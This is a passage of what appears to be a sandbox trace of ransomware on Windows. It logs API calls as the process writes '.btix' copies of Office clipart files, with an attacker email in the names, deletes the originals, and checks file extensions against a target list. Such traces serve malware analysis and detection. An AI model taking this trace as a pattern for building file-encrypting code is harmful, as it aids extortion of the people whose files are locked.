out: lpNewFilePointer=0x0) returned 1 [0051.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.392] GetLastError () returned 0x0 [0051.392] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0051.398] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0051.400] ReadFile (in: hFile=0x364, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.400] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.400] SetEndOfFile (hFile=0x328) returned 1 [0051.407] CloseHandle (hObject=0x328) returned 1 [0051.407] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.407] SetEndOfFile (hFile=0x364) returned 1 [0051.408] CloseHandle (hObject=0x364) returned 1 [0051.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0051.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.417] lstrlenW (lpString=".doc") returned 4 [0051.417] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.417] lstrlenW (lpString=".docx") returned 5 [0051.417] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.417] lstrlenW (lpString=".pdf") returned 4 [0051.417] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.417] lstrlenW (lpString=".xls") returned 4 [0051.417] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.417] lstrlenW (lpString=".xlsx") returned 5 [0051.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.417] lstrlenW (lpString=".ppt") returned 4 [0051.417] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.417] lstrlenW (lpString=".zip") returned 4 [0051.417] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.417] lstrlenW (lpString=".rar") returned 4 [0051.417] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.417] lstrlenW (lpString=".bz2") returned 4 [0051.417] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.418] lstrlenW (lpString=".7z") returned 3 [0051.418] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.418] lstrlenW (lpString=".dbf") returned 4 [0051.418] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.418] lstrlenW (lpString=".1cd") returned 4 [0051.418] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.418] lstrlenW (lpString=".jpg") returned 4 [0051.418] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.418] lstrlenW (lpString=".doc") returned 4 [0051.418] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.418] lstrlenW (lpString=".docx") returned 5 [0051.418] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.418] lstrlenW (lpString=".pdf") returned 4 [0051.418] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.418] lstrlenW (lpString=".xls") returned 4 [0051.418] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.418] lstrlenW (lpString=".xlsx") returned 5 [0051.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.418] lstrlenW (lpString=".ppt") returned 4 [0051.418] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.418] lstrlenW (lpString=".zip") returned 4 [0051.418] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.418] lstrlenW (lpString=".rar") returned 4 [0051.418] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.418] lstrlenW (lpString=".bz2") returned 4 [0051.419] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.419] lstrlenW (lpString=".7z") returned 3 [0051.419] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.419] lstrlenW (lpString=".dbf") returned 4 [0051.419] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.419] lstrlenW (lpString=".1cd") returned 4 [0051.419] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0051.419] lstrlenW (lpString=".jpg") returned 4 [0051.419] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.419] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.419] lstrlenW (lpString="AG00157_.GIF") returned 12 [0051.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.426] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4955) returned 1 [0051.426] CloseHandle (hObject=0x308) returned 1 [0051.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0051.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.427] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.427] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.433] GetLastError () returned 0x0 [0051.433] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x135b, lpOverlapped=0x0) returned 1 [0051.441] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1360, lpOverlapped=0x0) returned 1 [0051.441] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.442] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.442] SetEndOfFile (hFile=0x2e0) returned 1 [0051.442] CloseHandle (hObject=0x2e0) returned 1 [0051.442] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.442] SetEndOfFile (hFile=0x308) returned 1 [0051.443] CloseHandle (hObject=0x308) returned 1 [0051.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.444] lstrlenW (lpString=".doc") returned 4 [0051.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.444] lstrlenW (lpString=".docx") returned 5 [0051.444] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.444] lstrlenW (lpString=".pdf") returned 4 [0051.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.444] lstrlenW (lpString=".xls") returned 4 [0051.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.444] lstrlenW (lpString=".xlsx") returned 5 [0051.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.444] lstrlenW (lpString=".ppt") returned 4 [0051.444] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.444] lstrlenW (lpString=".zip") returned 4 [0051.444] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.444] lstrlenW (lpString=".rar") returned 4 [0051.444] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.444] lstrlenW (lpString=".bz2") returned 4 [0051.444] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.444] lstrlenW (lpString=".7z") returned 3 [0051.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.445] lstrlenW (lpString=".dbf") returned 4 [0051.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.445] lstrlenW (lpString=".1cd") returned 4 [0051.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.445] lstrlenW (lpString=".jpg") returned 4 [0051.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.445] lstrlenW (lpString=".doc") returned 4 [0051.445] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.445] lstrlenW (lpString=".docx") returned 5 [0051.445] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.445] lstrlenW (lpString=".pdf") returned 4 [0051.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.445] lstrlenW (lpString=".xls") returned 4 [0051.445] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.445] lstrlenW (lpString=".xlsx") returned 5 [0051.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.445] lstrlenW (lpString=".ppt") returned 4 [0051.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.445] lstrlenW (lpString=".zip") returned 4 [0051.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.445] lstrlenW (lpString=".rar") returned 4 [0051.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.445] lstrlenW (lpString=".bz2") returned 4 [0051.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.446] lstrlenW (lpString=".7z") returned 3 [0051.446] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.446] lstrlenW (lpString=".dbf") returned 4 [0051.446] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.446] lstrlenW (lpString=".1cd") returned 4 [0051.446] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0051.446] lstrlenW (lpString=".jpg") returned 4 [0051.446] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.446] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.446] lstrlenW (lpString="AG00160_.GIF") returned 12 [0051.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.446] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=1146) returned 1 [0051.446] CloseHandle (hObject=0x308) returned 1 [0051.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0051.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.447] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.447] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.447] GetLastError () returned 0x0 [0051.447] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x47a, lpOverlapped=0x0) returned 1 [0051.450] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x480, lpOverlapped=0x0) returned 1 [0051.451] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.451] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.451] SetEndOfFile (hFile=0x2e0) returned 1 [0051.452] CloseHandle (hObject=0x2e0) returned 1 [0051.452] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.452] SetEndOfFile (hFile=0x308) returned 1 [0051.453] CloseHandle (hObject=0x308) returned 1 [0051.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0051.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.454] lstrlenW (lpString=".doc") returned 4 [0051.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.454] lstrlenW (lpString=".docx") returned 5 [0051.454] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.454] lstrlenW (lpString=".pdf") returned 4 [0051.454] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.454] lstrlenW (lpString=".xls") returned 4 [0051.454] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.454] lstrlenW (lpString=".xlsx") returned 5 [0051.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.454] lstrlenW (lpString=".ppt") returned 4 [0051.454] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.454] lstrlenW (lpString=".zip") returned 4 [0051.454] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.454] lstrlenW (lpString=".rar") returned 4 [0051.454] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.454] lstrlenW (lpString=".bz2") returned 4 [0051.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.454] lstrlenW (lpString=".7z") returned 3 [0051.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.454] lstrlenW (lpString=".dbf") returned 4 [0051.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.454] lstrlenW (lpString=".1cd") returned 4 [0051.454] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.454] lstrlenW (lpString=".jpg") returned 4 [0051.454] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.455] lstrlenW (lpString=".doc") returned 4 [0051.455] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.455] lstrlenW (lpString=".docx") returned 5 [0051.455] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.455] lstrlenW (lpString=".pdf") returned 4 [0051.455] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.455] lstrlenW (lpString=".xls") returned 4 [0051.455] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.455] lstrlenW (lpString=".xlsx") returned 5 [0051.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.455] lstrlenW (lpString=".ppt") returned 4 [0051.455] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.455] lstrlenW (lpString=".zip") returned 4 [0051.455] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.455] lstrlenW (lpString=".rar") returned 4 [0051.455] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.455] lstrlenW (lpString=".bz2") returned 4 [0051.455] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.455] lstrlenW (lpString=".7z") returned 3 [0051.455] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.455] lstrlenW (lpString=".dbf") returned 4 [0051.455] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.455] lstrlenW (lpString=".1cd") returned 4 [0051.455] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0051.455] lstrlenW (lpString=".jpg") returned 4 [0051.456] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.456] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.456] lstrlenW (lpString="AG00161_.GIF") returned 12 [0051.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.577] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=7583) returned 1 [0051.577] CloseHandle (hObject=0x308) returned 1 [0051.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0051.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.577] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.577] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.578] GetLastError () returned 0x0 [0051.578] ReadFile (in: hFile=0x308, 